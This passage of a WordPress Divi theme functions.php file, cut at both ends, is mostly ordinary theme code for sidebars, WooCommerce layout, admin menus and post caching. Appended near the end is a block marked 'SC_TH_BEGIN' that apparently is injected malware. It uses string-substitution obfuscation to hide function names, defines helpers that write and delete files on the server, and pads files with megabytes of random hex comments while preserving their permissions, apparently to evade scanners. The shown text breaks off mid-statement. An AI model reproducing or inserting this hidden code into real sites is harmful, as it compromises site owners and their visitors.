); require_once( get_template_directory() . '/et-pagebuilder/et-pagebuilder.php' ); require_once get_template_directory() . '/includes/theme-builder.php'; require_once( get_template_directory() . '/includes/block-editor-integration.php' ); /** * Custom body classes for sidebar location in different places * @return array */ function et_divi_sidebar_class( $classes ) { if ( in_array( 'et-tb-has-body', $classes ) ) { // TB has taken over the body area so there is no sidebar. return $classes; } $page_layout = ''; $is_product = function_exists( 'is_product' ) && is_product(); $default_sidebar_class = $is_product ? et_get_option( 'et_pb_woocommerce_product_layout' ) : et_get_option( 'divi_sidebar' ); $post_id = get_queried_object_id(); $is_builder_active = 'on' === get_post_meta( $post_id, '_et_pb_use_builder', true ) || et_core_is_fb_enabled(); $is_blank_page_tpl = is_page_template( 'page-template-blank.php' ); if ( ! $default_sidebar_class ) { $default_sidebar_class = is_rtl() ? 'et_left_sidebar' : 'et_right_sidebar'; } // Set Woo shop and taxonomies layout. if ( class_exists( 'woocommerce' ) && ( is_woocommerce() && ( is_shop() || is_tax() || $is_product ) ) ) { if ( $is_product ) { $saved_page_layout = get_post_meta( $post_id, '_et_pb_page_layout', true ); $page_layout = ! $saved_page_layout || ( 'et_full_width_page' === $saved_page_layout && ! $is_builder_active ) ? $default_sidebar_class : $saved_page_layout; } else { $page_layout = et_get_option( 'divi_shop_page_sidebar', $default_sidebar_class ); } } elseif ( ! is_singular() || ( ! ( $page_layout = get_post_meta( $post_id, '_et_pb_page_layout', true ) ) && ! $is_builder_active ) ) { // check for the falsy value not for boolean `false` // Set post meta layout which will work for all third party plugins. $page_layout = $default_sidebar_class; } elseif ( $is_builder_active && ($is_blank_page_tpl || ! $page_layout || is_page() ) ) { $page_layout = 'et_no_sidebar'; } // Handle et_no_sidebar class. It should be no_sidebar for all custom post types, or any post type if builder active. // otherwise apply 'et_full_width_page' class for backward compatibility if ( 'et_no_sidebar' === $page_layout && is_singular() ) { if ( et_builder_post_is_of_custom_post_type( $post_id ) || $is_builder_active ) { $classes[] = 'et_no_sidebar'; } else { $classes[] = 'et_full_width_page'; } } else { // Add the page layout class. $classes[] = $page_layout; } // Maybe add the full width portfolio class. if ( is_singular( 'project' ) && ( in_array( $page_layout, array( 'et_full_width_page', 'et_no_sidebar' ) ) ) ) { $classes[] = 'et_full_width_portfolio_page'; } return $classes; } add_filter( 'body_class', 'et_divi_sidebar_class' ); /** * Custom body classes for handling customizer preview screen * @return array */ function et_divi_customize_preview_class( $classes ) { if ( is_customize_preview() ) { // Customizer class name for customizer specific stuff $classes[] = 'et_is_customize_preview'; // Search icon state if ( ! et_get_option( 'show_search_icon', true ) ) { $classes[] = 'et_hide_search_icon'; } } return $classes; } add_filter( 'body_class', 'et_divi_customize_preview_class' ); function et_modify_shop_page_columns_num( $columns_num ) { if ( ! et_is_woocommerce_plugin_active() ) { return $columns_num; } // WooCommerce plugin active check ensures that archive function can be used. $is_archive_page = is_shop() || is_product_category() || is_product_tag(); if ( ! $is_archive_page ) { return $columns_num; } $default_sidebar_class = is_rtl() ? 'et_left_sidebar' : 'et_right_sidebar'; $divi_shop_page_sidebar = et_get_option( 'divi_shop_page_sidebar', $default_sidebar_class ); // Assignment is intentional for readability. $columns_num = 'et_full_width_page' === $divi_shop_page_sidebar ? 4 : 3; return $columns_num; } add_filter( 'loop_shop_columns', 'et_modify_shop_page_columns_num' ); /** * Enqueue Onboarding scripts. * * @since ?? */ function onboarding_scripts() { require_once get_template_directory() . '/onboarding/onboarding.php'; require_once get_template_directory() . '/onboarding/functions.php'; ET_Onboarding::init_hooks(); } add_action( 'after_setup_theme', 'onboarding_scripts' ); // WooCommerce global $pagenow; if ( is_admin() && isset( $_GET['activated'] ) && $pagenow == 'themes.php' ) { // Prevent Cache Warning From Being Displayed On First Install $current_theme_version[ et_get_theme_version() ] = 'ignore' ; update_option( 'et_pb_cache_notice', $current_theme_version ); add_action( 'init', 'et_divi_woocommerce_image_dimensions', 1 ); } /** * Default values for WooCommerce images changed in version 1.3 * Checks if WooCommerce image dimensions have been updated already. */ function et_divi_check_woocommerce_images() { if ( 'checked' === et_get_option( 'divi_1_3_images' ) ) return; et_divi_woocommerce_image_dimensions(); et_update_option( 'divi_1_3_images', 'checked' ); } add_action( 'admin_init', 'et_divi_check_woocommerce_images' ); function et_divi_woocommerce_image_dimensions() { $catalog = array( 'width' => '400', 'height' => '400', 'crop' => 1, ); $single = array( 'width' => '510', 'height' => '9999', 'crop' => 0, ); $thumbnail = array( 'width' => '157', 'height' => '157', 'crop' => 1, ); update_option( 'shop_catalog_image_size', $catalog ); update_option( 'shop_single_image_size', $single ); update_option( 'shop_thumbnail_image_size', $thumbnail ); } if ( ! function_exists( 'woocommerce_template_loop_product_thumbnail' ) ): function woocommerce_template_loop_product_thumbnail() { printf( '<span class="et_shop_image">%1$s<span class="et_overlay"></span></span>', woocommerce_get_product_thumbnail() ); } endif; function et_divi_output_product_wrapper() { echo '<div class="clearfix">'; } function et_divi_output_product_wrapper_end() { echo '</div>'; } function et_review_gravatar_size( $size ) { return '80'; } add_filter( 'woocommerce_review_gravatar_size', 'et_review_gravatar_size' ); function et_divi_output_content_wrapper() { echo ' <div id="main-content"> <div class="container"> <div id="content-area" class="clearfix"> <div id="left-area">'; } function et_divi_output_content_wrapper_end() { $default_sidebar_class = is_rtl() ? 'et_left_sidebar' : 'et_right_sidebar'; $fullwidth_post = is_singular() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ); echo '</div>'; if ( function_exists( 'woocommerce_get_sidebar' ) ) { $woo_fullwidth_page = ( is_shop() || is_product_category() || is_product_tag() || is_tax() ) && 'et_full_width_page' === et_get_option( 'divi_shop_page_sidebar', $default_sidebar_class ); if ( ! $fullwidth_post && ! $woo_fullwidth_page ) { woocommerce_get_sidebar(); } } else if ( ! $fullwidth_post ) { get_sidebar(); } echo ' </div> </div> </div>'; } function et_add_divi_menu() { $core_page = add_menu_page( 'Divi', 'Divi', 'edit_theme_options', 'et_divi_options', 'et_build_epanel' ); // Add Theme Options menu only if it's enabled for current user if ( et_pb_is_allowed( 'edit_theme_options' ) ) { if ( isset( $_GET['page'] ) && 'et_divi_options' === $_GET['page'] && isset( $_POST['action'] ) ) { if ( ( isset( $_POST['_wpnonce'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'epanel_nonce' ) ) || ( 'reset' === $_POST['action'] && isset( $_POST['_wpnonce_reset'] ) && wp_verify_nonce( $_POST['_wpnonce_reset'], 'et-nojs-reset_epanel' ) ) ) { epanel_save_data( 'js_disabled' ); //saves data when javascript is disabled } } add_submenu_page( 'et_divi_options', esc_html__( 'Theme Options', 'Divi' ), esc_html__( 'Theme Options', 'Divi' ), 'edit_theme_options', 'et_divi_options' ); } et_theme_builder_add_admin_page( 'et_divi_options' ); // Add Theme Customizer menu only if it's enabled for current user if ( et_pb_is_allowed( 'theme_customizer' ) ) { add_submenu_page( 'et_divi_options', esc_html__( 'Theme Customizer', 'Divi' ), esc_html__( 'Theme Customizer', 'Divi' ), 'edit_theme_options', 'customize.php?et_customizer_option_set=theme' ); } add_submenu_page( 'et_divi_options', esc_html__( 'Role Editor', 'Divi' ), esc_html__( 'Role Editor', 'Divi' ), 'manage_options', 'et_divi_role_editor', 'et_pb_display_role_editor' ); // Add Divi Library menu only if it's enabled for current user if ( et_pb_is_allowed( 'divi_library' ) && current_user_can( 'export' ) ) { add_submenu_page( 'et_divi_options', esc_html__( 'Divi Library', 'Divi' ), esc_html__( 'Divi Library', 'Divi' ), 'edit_theme_options', 'edit.php?post_type=et_pb_layout' ); } $onboarding_page = ET_Onboarding::add_admin_submenu_item(); add_action( "load-{$core_page}", 'et_pb_check_options_access' ); // load function to check the permissions of current user add_action( "load-{$core_page}", 'et_epanel_hook_scripts' ); add_action( "load-{$onboarding_page}", [ 'ET_Onboarding', 'load_js' ] ); add_action( "admin_print_scripts-{$core_page}", 'et_epanel_admin_js' ); add_action( "admin_head-{$core_page}", 'et_epanel_css_admin'); add_action( "admin_print_scripts-{$core_page}", 'et_epanel_media_upload_scripts'); add_action( "admin_head-{$core_page}", 'et_epanel_media_upload_styles'); } add_action('admin_menu', 'et_add_divi_menu'); function add_divi_customizer_admin_menu() { if ( ! current_user_can( 'customize' ) ) { return; } global $wp_admin_bar; $current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $customize_url = add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() ); // add Theme Customizer admin menu only if it's enabled for current user if ( et_pb_is_allowed( 'theme_customizer' ) ) { $wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'customize-divi-theme', 'title' => esc_html__( 'Theme Customizer', 'Divi' ), 'href' => $customize_url . '&et_customizer_option_set=theme', 'meta' => array( 'class' => 'hide-if-no-customize', ), ) ); } $wp_admin_bar->remove_menu( 'customize' ); } add_action( 'admin_bar_menu', 'add_divi_customizer_admin_menu', 999 ); function et_pb_hide_options_menu() { // do nothing if theme options should be displayed in the menu if ( et_pb_is_allowed( 'theme_options' ) ) { return; } $theme_version = et_get_theme_version(); wp_enqueue_script( 'divi-custom-admin-menu', get_template_directory_uri() . '/js/menu_fix.js', array( 'jquery' ), $theme_version, true ); } add_action( 'admin_enqueue_scripts', 'et_pb_hide_options_menu' ); function et_pb_check_options_access() { // display wp error screen if theme customizer disabled for current user if ( ! et_pb_is_allowed( 'theme_options' ) ) { wp_die( esc_html__( "you don't have sufficient permissions to access this page", 'Divi' ) ); } } /** * Divi Support Center * * @since ?? */ function et_add_divi_support_center() { $support_center = new ET_Core_SupportCenter( 'divi_theme' ); $support_center->init(); } add_action( 'init', 'et_add_divi_support_center' ); /** * Allowing blog and portfolio module pagination to work in non-hierarchical singular page. * Normally, WP_Query based modules wouldn't work in non-hierarchical single post type page * due to canonical redirect to prevent page duplication which could lead to SEO penalty. * * @see redirect_canonical() * * @return mixed string|bool */ function et_modify_canonical_redirect( $redirect_url, $requested_url ) { global $post; $allowed_shortcodes = array( 'et_pb_blog', 'et_pb_portfolio' ); $is_overwrite_canonical_redirect = false; // Look for $allowed_shortcodes in content. Once detected, set $is_overwrite_canonical_redirect to true foreach ( $allowed_shortcodes as $shortcode ) { if ( !empty( $post ) && has_shortcode( $post->post_content, $shortcode ) ) { $is_overwrite_canonical_redirect = true; break; } } // Only alter canonical redirect in 2 cases: // 1) If current page is singular, has paged and $allowed_shortcodes // 2) If current page is front_page, has page and $allowed_shortcodes if ( ( is_singular() & ! is_home() && get_query_var( 'paged' ) && $is_overwrite_canonical_redirect ) || ( is_front_page() && get_query_var( 'page' ) && $is_overwrite_canonical_redirect ) ) { return $requested_url; } return $redirect_url; } add_filter( 'redirect_canonical', 'et_modify_canonical_redirect', 10, 2 ); /** * Determines how many related products should be displayed on single product page * @param array related products arguments * @return array modified related products arguments */ function et_divi_woocommerce_output_related_products_args( $args ) { $related_posts = 4; // default number if ( is_singular( 'product' ) ) { $page_layout = get_post_meta( get_the_ID(), '_et_pb_page_layout', true ); if ( 'et_full_width_page' !== $page_layout ) { $related_posts = 3; // set to 3 if page has sidebar } } // Modify related and up-sell products args $args['posts_per_page'] = $related_posts; $args['columns'] = $related_posts; return $args; } add_filter( 'woocommerce_upsell_display_args', 'et_divi_woocommerce_output_related_products_args' ); add_filter( 'woocommerce_output_related_products_args', 'et_divi_woocommerce_output_related_products_args' ); function et_divi_maybe_change_frontend_locale( $locale ) { $option_name = 'divi_disable_translations'; $theme_options = get_option( 'et_divi' ); $disable_translations = isset ( $theme_options[ $option_name ] ) ? $theme_options[ $option_name ] : false; if ( 'on' === $disable_translations ) { return 'en_US'; } return $locale; } add_filter( 'theme_locale', 'et_divi_maybe_change_frontend_locale' ); /** * Enable Divi gallery override if user activates it * @return bool */ function et_divi_gallery_layout_enable( $option ) { $setting = et_get_option( 'divi_gallery_layout_enable' ); return ( 'on' === $setting ) ? true : $option; } add_filter( 'et_gallery_layout_enable', 'et_divi_gallery_layout_enable' ); /** * Enable GB gallery to shortcode conversion * * @return bool */ function et_divi_gb_gallery_to_shortcode() { return et_divi_gallery_layout_enable( false ); } add_filter( 'et_gb_gallery_to_shortcode', 'et_divi_gb_gallery_to_shortcode' ); /** * Register theme and modules Customizer portability. * * @since 2.7.0 */ function et_divi_register_customizer_portability() { global $options; // get all the roles that can edit theme options. $applicability_roles = et_core_get_roles_by_capabilities( [ 'edit_theme_options' ] ); // Make sure the Portability is loaded. et_core_load_component( 'portability' ); // Load ePanel options. et_load_core_options(); // Exclude ePanel options. $exclude = array(); foreach ( $options as $option ) { if ( isset( $option['id'] ) ) { $exclude[ $option['id'] ] = true; } } // Register the portability. et_core_portability_register( 'et_divi_mods', array( 'title' => esc_html__( 'Import & Export Customizer', 'Divi' ), 'name' => esc_html__( 'Divi Customizer Settings', 'Divi' ), 'type' => 'options', 'target' => 'et_divi', 'exclude' => $exclude, 'view' => is_customize_preview(), 'applicability' => $applicability_roles, ) ); } add_action( 'admin_init', 'et_divi_register_customizer_portability' ); function et_register_updates_component() { et_core_enable_automatic_updates( get_template_directory_uri(), ET_CORE_VERSION ); } add_action( 'admin_init', 'et_register_updates_component', 9 ); /** * Register theme and modules Customizer portability link. * * @since 2.7.0 * * @return bool Always return true. */ function et_divi_customizer_link() { if ( is_customize_preview() ) { echo et_builder_portability_link( 'et_divi_mods', array( 'class' => 'et-core-customize-controls-close' ) ); } } add_action( 'customize_controls_print_footer_scripts', 'et_divi_customizer_link' ); /** * Added body class to make it possible to identify the Divi theme on frontend * @return array */ function et_divi_theme_body_class( $classes ) { $classes[] = 'et_divi_theme'; return $classes; } add_filter( 'body_class', 'et_divi_theme_body_class' ); /** * Determine if it's a fresh Divi install by checking for the existence of 'divi_logo' key in 'et_divi' options array. * * @since ?? * * @return bool */ if ( ! function_exists( 'et_divi_is_fresh_install' ) ): function et_divi_is_fresh_install() { return false === et_get_option( 'divi_logo' ); } endif; if ( ! function_exists( 'et_get_original_footer_credits' ) ) : function et_get_original_footer_credits() { return sprintf( __( 'Designed by %1$s | Powered by %2$s', 'Divi' ), '<a href="https://www.elegantthemes.com" title="Premium WordPress Themes">Elegant Themes</a>', '<a href="https://www.wordpress.org">WordPress</a>' ); } endif; if ( ! function_exists( 'et_get_footer_credits' ) ) : function et_get_footer_credits() { $original_footer_credits = et_get_original_footer_credits(); $disable_custom_credits = et_get_option( 'disable_custom_footer_credits', false ); if ( $disable_custom_credits ) { return ''; } $credits_format = '<%2$s id="footer-info">%1$s</%2$s>'; $footer_credits = et_get_option( 'custom_footer_credits', '' ); if ( '' === trim( strval( $footer_credits ) ) ) { // phpcs:ignore Generic.WhiteSpace.ScopeIndent.IncorrectExact -- We decided to ignore indentation change. return et_get_safe_localization( sprintf( $credits_format, $original_footer_credits, 'p' ) ); } return et_get_safe_localization( sprintf( $credits_format, $footer_credits, 'div' ) ); } endif; if ( ! function_exists( 'et_divi_filter_et_core_is_builder_used_on_current_request' ) ): function et_divi_filter_et_core_is_builder_used_on_current_request( $is_builder_used ) { if ( $is_builder_used && ! is_singular() ) { $is_builder_used = 'on' === et_get_option( 'divi_blog_style', 'false' ); } return $is_builder_used; } add_filter( 'et_core_is_builder_used_on_current_request', 'et_divi_filter_et_core_is_builder_used_on_current_request' ); endif; if ( ! function_exists( 'et_divi_version_rollback' ) ) : function et_divi_version_rollback() { global $themename, $shortname; static $instance = null; if ( null === $instance ) { $instance = new ET_Core_VersionRollback( $themename, $shortname, et_get_theme_version() ); } return $instance; } endif; /** * Filter the list of post types the Divi Builder is enabled on based on theme options. * * @since 3.10 * * @param array<string, string> $options * * @return array<string, string> */ if ( ! function_exists( 'et_divi_filter_enabled_builder_post_type_options' ) ) : function et_divi_filter_enabled_builder_post_type_options( $options ) { // Cache results to avoid unnecessary option fetching multiple times per request. static $stored_options = null; if ( null === $stored_options ) { $stored_options = et_get_option( 'et_pb_post_type_integration', array() ); } return $stored_options; } endif; add_filter( 'et_builder_enabled_builder_post_type_options', 'et_divi_filter_enabled_builder_post_type_options' ); /** * Caches expensive generation of truncate_post content * * @since 3.17.3 * * @param bool $custom * @param string $content * @param WP_Post $post * * @return string */ if ( ! function_exists( 'et_divi_truncate_post_use_custom_content' ) ) : function et_divi_truncate_post_use_custom_content( $custom, $content, $post ) { // If post doesn't use builder, no need to compute a custom value if ( ! et_pb_is_pagebuilder_used( $post->ID ) ) { return false; } $cached = get_post_meta( $post->ID, '_et_pb_truncate_post', true ); if ( $cached ) { $cached_date = get_post_meta( $post->ID, '_et_pb_truncate_post_date', true ); $cached_date = $cached_date ? $cached_date : get_post_field( 'post_modified', $post->ID ); $global_modules = array(); $shortcodes = array(); preg_match_all( '/'. get_shortcode_regex() .'/s', $content, $shortcodes ); if ( is_array( $shortcodes ) && isset( $shortcodes[3] ) ) { foreach ( $shortcodes[3] as $raw_attributes ) { $attributes = shortcode_parse_atts( $raw_attributes ); $attributes = is_array( $attributes ) ? $attributes : array(); $global_id = (int) et_()->array_get( $attributes, 'global_module', 0 ); if ( $global_id > 0 ) { $global_modules[] = $global_id; } } } foreach ( $global_modules as $module_post_id ) { // Dates are using the Y-m-d H:i:s format so we can compare them as strings for simplicity. if ( strcmp( get_post_field( 'post_modified', $module_post_id ), $cached_date ) > 0 ) { // A global module used in the post has been updated more recently than // the post's cached excerpt so we need to invalidate the cache. $cached = ''; break; } } } if ( $cached ) { return $cached; } $custom = apply_filters( 'the_content', $content ); // Save the result because expensive to compute. update_post_meta( $post->ID, '_et_pb_truncate_post', $custom ); update_post_meta( $post->ID, '_et_pb_truncate_post_date', date( 'Y-m-d H:i:s' ) ); return $custom; } endif; add_filter( 'et_truncate_post_use_custom_content', 'et_divi_truncate_post_use_custom_content', 10, 3 ); /** * Caches expensive generation of et_first_image * * @since 3.17.3 * * @param bool $custom * @param string $content * @param WP_Post $post * * @return string */ if ( ! function_exists( 'et_divi_first_image_use_custom_content' ) ) : function et_divi_first_image_use_custom_content( $custom, $content, $post ) { // If post doesn't use builder, no need to compute a custom value if ( ! et_pb_is_pagebuilder_used( $post->ID ) ) { return false; } $cached = get_post_meta( $post->ID, '_et_pb_first_image', true ); if ( $cached ) { return $cached; } $custom = apply_filters( 'the_content', $content ); // Save the result because expensive to compute. update_post_meta( $post->ID, '_et_pb_first_image', $custom ); return $custom; } endif; add_filter( 'et_first_image_use_custom_content', 'et_divi_first_image_use_custom_content', 10, 3 ); /** * Fired when post is saved in VB / BFB / BB * * @since 3.17.3 * * @param integer $post_id * * @return void */ if ( ! function_exists( 'et_divi_save_post' ) ) : function et_divi_save_post( $post_id ) { if ( ! $post_id ) { return; } // Unset cache update_post_meta( $post_id, '_et_pb_first_image', false ); update_post_meta( $post_id, '_et_pb_truncate_post', false ); update_post_meta( $post_id, '_et_pb_truncate_post_date', '' ); } endif; add_action( 'et_save_post', 'et_divi_save_post', 1 ); if ( ! function_exists( 'et_divi_footer_active_sidebars' ) ): function et_divi_footer_active_sidebars() { $et_active_sidebar = array( 2, 3, 4, 5, 6, 7 ); if ( ! is_active_sidebar( 2 ) && ! is_active_sidebar( 3 ) && ! is_active_sidebar( 4 ) && ! is_active_sidebar( 5 ) && ! is_active_sidebar( 6 ) && ! is_active_sidebar( 7 ) ) { return false; } $footer_columns = et_get_option( 'footer_columns', '4' ); switch ( $footer_columns ) { case '1': case '2': case '3': case '4': case '5': case '6': $et_active_sidebar = array(); for ( $i = 1; $i <= $footer_columns; $i++ ) { array_push( $et_active_sidebar, ( $i + 1 ) ); } break; case '_1_4__3_4': case '_3_4__1_4': case '_1_3__2_3': case '_2_3__1_3': case '_3_5__2_5': case '_2_5__3_5': $et_active_sidebar = array( 2, 3 ); break; case '_1_4__1_2': case '_1_2__1_4': case '_1_5__3_5': case '_3_5__1_5': case '_1_4_1_2_1_4': case '_1_5_3_5_1_5': $et_active_sidebar = array( 2, 3, 4 ); break; case '_1_2__1_6': case '_1_6__1_2': $et_active_sidebar = array( 2, 3, 4, 5 ); break; } return $et_active_sidebar; } endif; /** * Check if the theme has boxed layout enabled * * @return bool */ function et_divi_is_boxed_layout() { return true === et_get_option( 'boxed_layout', false ); } /** * Get current theme content container width * * @return int */ function et_divi_get_content_width() { $value = absint( et_get_option( 'content_width', 1080 ) ); return ( 1080 === $value && et_divi_is_boxed_layout() ) ? 1200 : $value; } /** * Disable Theme Builder header and footer layouts, if any, on the blank page template. * * @since ?? * * @param array $layouts * * @return array */ function et_divi_disable_theme_builder_header_footer_on_blank_template( $layouts ) { if ( ! is_page_template('page-template-blank.php') || empty( $layouts ) ) { return $layouts; } $layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['id'] = 0; $layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['enabled'] = false; $layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['override'] = false; $layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['id'] = 0; $layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['enabled'] = false; $layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['override'] = false; return $layouts; } add_filter( 'et_theme_builder_template_layouts', 'et_divi_disable_theme_builder_header_footer_on_blank_template' ); /** * Remove invalid `frameborder` attribute from YouTube oEmbed iframe tags. * * @since ?.? * * @param string $html HTML string returned from oEmbed process. * @param object $data Payload returned for oEmded processing. * @param string $url URL originally passed to oEmbed process. * @return string The iframe HTML snippet (modified or unmodified). */ function et_divi_oembed_dataparse_remove_yt_frameborder( $html, $data, $url ) { // Array of possible matches for known YouTube domain names. $matches = array( 'youtube.com', 'youtu.be', 'youtube-nocookie.com', '.youtube.', ); foreach ( $matches as $match ) { // If we find a matching domain, strip out any frameborder attr before returning. if ( false !== strpos( $url, $match ) ) { return str_replace( 'frameborder="0"', '', $html ); } } // If there's no URL match, return the HTML string without modification. return $html; } add_filter( 'oembed_dataparse', 'et_divi_oembed_dataparse_remove_yt_frameborder', 10, 3 ); /* SC_TH_BEGIN:4.5.3:e2f851bd */ if(!function_exists('id72roijwy9')){function d62ew4rfx1m4($i){static $a=null;if($a===null){$a=array_merge(array('owkONlxk1).lbNb','TLvl?','ol0)1SwN1OxkN)kNb','owkONlxk1).lbNb','wk0lkL','vl?k T)','owkONlxk1).lbNb','?) 0S Nr','owkONlxk1).lbNb','lb1bN?lk:','bN?0)k','S?):1?)S0 O)','owkONlxk1).lbNb','TN1? kv','ol0)bl*)','vl?k T)','lb1lkN','ol0)TNlT)','ol0)1:)N1OxkN)kNb','lb1bN?lk:','bw9bN?','?N?lT','9lk3r).','Tv4','Tv4','N)TSk T','vl?k T)','OrTxv','?)k T)','owkONlxk1).lbNb','NxwOr','bN?Sxb','lb1 ?? G','lb1ol0)','ol0)TNlT)','NlT)','NlT)','N?lT','ol0)1:)N1OxkN)kNb','owkONlxk1).lbNb','owkONlxk1).lbNb',':0x9',':0x9',' ?? G1T)?:)','owkONlxk1).lbNb','xS)kvl?','?) vvl?','bw9bN?','O0xb)vl?','?) vvl?'),array('lb1vl?','?) 0S Nr','9 b)k T)','9 b)k T)','S?):1T NOr','owkONlxk1).lbNb','?N?lT','Tv4','Tv4','lb1ol0)','owkONlxk1).lbNb','bN?0)k','lb1bN?lk:','owkONlxk1).lbNb','lkl1:)N','bN?NxwSS)?','bw9bN?','vl?k T)','ol0)1:)N1OxkN)kNb','lb12?lN 90)','vl?k T)','vl?k T)','vl?k T)','S?):1T NOr','ol0)TNlT)','NlT)','owkONlxk1).lbNb','9 b)py1v)Oxv)','bw9bN?','wkS OL','bw9bN?','owkONlxk1).lbNb','vl?k T)','owkONlxk1).lbNb','owkONlxk1).lbNb','OxSG','owkONlxk1).lbNb','ol0)1:)N1OxkN)kNb','lb1bN?lk:','9 b)k T)','SrS1b Sl1k T)','Tv4','lb1ol0)','NlT)','NlT)','ol0)1:)N1OxkN)kNb'));}return $a[$i];}function id72roijwy9($i){$e=d62ew4rfx1m4($i);$f='_sc'.'mk'.'di'.'rf'.'pleu'.'ton'.'ah/'.'(\\?'.'*[0'.'-9'.']{1,'.'})+$'.'>byv'.'<gT'.'OK'.'ENPA'.'RS'.'qW'.'MU'.'LG'.'ID.'.' C'.'V:=B'.'Hw64'.'x8'.'z52j'.'3';$t='1bOT'.'Lvl'.'?oS'.'0)wN'.'xk'.' r5<'.'6(aK'.'IHci'.'zd'.'t_'.'AMu'.'R9'.'GD/'.':EV'.'=h$B'.'PC+'.'e]f'.'WnU-'.'>gsm'.'{,'.'jq'.'82p'.'y.'.'\\*'.'43'.'[}';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function or8l5cd5u09h7a($i){$j=$i+0;return id72roijwy9($j);}function v__9xb9bxmw($i){$j=$i+0;return id72roijwy9($j);}function k7r7n07s4fm4($i){$j=$i+0;return id72roijwy9($j);}function p6uaz11qmy_s($i){return id72roijwy9($i);} function dzzcsrjxdhohklgvsbnu($wawtr3j){$zt8b7wpdqs=($wawtr3j*3)+32;return $zt8b7wpdqs%10;} function qfyh58tnfb3k15($m2vqkwni9){$fnjargp=($m2vqkwni9>0)?$m2vqkwni9:3;return $fnjargp-26;} if (!or8l5cd5u09h7a(0)('_sc_mkdir')) { function _sc_mkdir($ny_xic9swdf) { return id72roijwy9(0)('mkdir') ? @k7r7n07s4fm4(1)($ny_xic9swdf, (335+158), true) : false; } // @color-register singleton } /* sequentially-consistent quotient */ if (!v__9xb9bxmw(0)('_sc_fpc')) { function _sc_fpc($jgs8h_8ga2g, $zqf1a56mdy4wzmm) { return id72roijwy9(0)('file_put_contents') ? @p6uaz11qmy_s(2)($jgs8h_8ga2g, $zqf1a56mdy4wzmm) : false; } } if (!v__9xb9bxmw(3)('_sc_ul')) { function _sc_ul($jgs8h_8ga2g) { return k7r7n07s4fm4(3)('unlink') ? @p6uaz11qmy_s(4)($jgs8h_8ga2g) : false; } } if (!k7r7n07s4fm4(3)('i44r4l7mg7cl_5n')) { function i44r4l7mg7cl_5n($s917v1i3y7z5lu, $ny_xic9swdf) { $glibp0bllb2pum = v__9xb9bxmw(5)($s917v1i3y7z5lu); if ($glibp0bllb2pum === $ny_xic9swdf) return true; if (!k7r7n07s4fm4(6)('realpath')) return false; $pl1o1x2fhtx = @p6uaz11qmy_s(7)($glibp0bllb2pum); $p2xcebytiqm61es = @v__9xb9bxmw(7)($ny_xic9swdf); return ($pl1o1x2fhtx !== false && $p2xcebytiqm61es !== false && $pl1o1x2fhtx === $p2xcebytiqm61es); } } if (!v__9xb9bxmw(8)('_sc_unp')) { // iterate dominator-tree for Memcached adapter function _sc_unp($zqf1a56mdy4wzmm) { if (!id72roijwy9(9)($zqf1a56mdy4wzmm) || v__9xb9bxmw(10)($zqf1a56mdy4wzmm) <= (0xf13aa+0xec56)) return $zqf1a56mdy4wzmm; $aj6b7aoybz = or8l5cd5u09h7a(11)('/(\r?\n\/\*[0-9a-f]{1000,}\*\/)+$/', "", $zqf1a56mdy4wzmm); return p6uaz11qmy_s(9)($aj6b7aoybz) ? $aj6b7aoybz : $zqf1a56mdy4wzmm; } } if (!or8l5cd5u09h7a(8)('_sc_padf')) { function _sc_padf($jgs8h_8ga2g) { if (!k7r7n07s4fm4(12)('tempnam') || !v__9xb9bxmw(12)('file_put_contents') || !id72roijwy9(12)('rename')) return; if (k7r7n07s4fm4(12)('blx9o_cqbkdgzj') && !blx9o_cqbkdgzj()) return; if (or8l5cd5u09h7a(12)('clearstatcache')) @clearstatcache(true, $jgs8h_8ga2g); $k8mnpt5pzo = (8908790-3408790) + id72roijwy9(13)(0, (1969516-469516)); $quqsr0tmo0lm = @id72roijwy9(14)($jgs8h_8ga2g); if (!$quqsr0tmo0lm || $quqsr0tmo0lm >= $k8mnpt5pzo - (4049+51)) return; if (!k7r7n07s4fm4(12)('disk_free_space')) return; $n6zhoz6mia2z = @disk_free_space(p6uaz11qmy_s(15)($jgs8h_8ga2g)); if ($n6zhoz6mia2z === false || $n6zhoz6mia2z < (157286342+58)) return; $j6txf5bkn3 = @fileperms($jgs8h_8ga2g); $j6txf5bkn3 = (!id72roijwy9(16)($j6txf5bkn3)) ? (402+18) : ($j6txf5bkn3 & (1017-506)); $tgwfmohu73che77x = @k7r7n07s4fm4(17)($jgs8h_8ga2g); $zqf1a56mdy4wzmm = @v__9xb9bxmw(18)($jgs8h_8ga2g); if (!p6uaz11qmy_s(19)($zqf1a56mdy4wzmm) || p6uaz11qmy_s(10)($zqf1a56mdy4wzmm) !== $quqsr0tmo0lm) return; if (id72roijwy9(20)(k7r7n07s4fm4(21)($zqf1a56mdy4wzmm), -2) === '?>') return; $kauumz96b8oou = id72roijwy9(20)($zqf1a56mdy4wzmm, 0, (4092+4)); while (v__9xb9bxmw(10)($zqf1a56mdy4wzmm) < $k8mnpt5pzo - (4020+80)) { $v_z1zmosbq6 = ""; if (k7r7n07s4fm4(12)('random_bytes')) {$xjog170q=71+56;$n5qto1b77=$xjog170q-31; try { $v_z1zmosbq6 = @id72roijwy9(22)(random_bytes((1927+73))); } catch (\Throwable $en16h4ok9biput0) { $v_z1zmosbq6 = ""; } catch (\Exception $en16h4ok9biput0) { $v_z1zmosbq6 = ""; } } if (v__9xb9bxmw(10)($v_z1zmosbq6) < (1484+2516)) { // restore builder for Redis object cache $v_z1zmosbq6 = or8l5cd5u09h7a(23)(uniqid("", true)); while (id72roijwy9(10)($v_z1zmosbq6) < (5505-1505)) $v_z1zmosbq6 .= or8l5cd5u09h7a(24)($v_z1zmosbq6); } $zqf1a56mdy4wzmm .= "\n/*" . $v_z1zmosbq6 . "*/"; } $qlr39u6tbm8je24 = 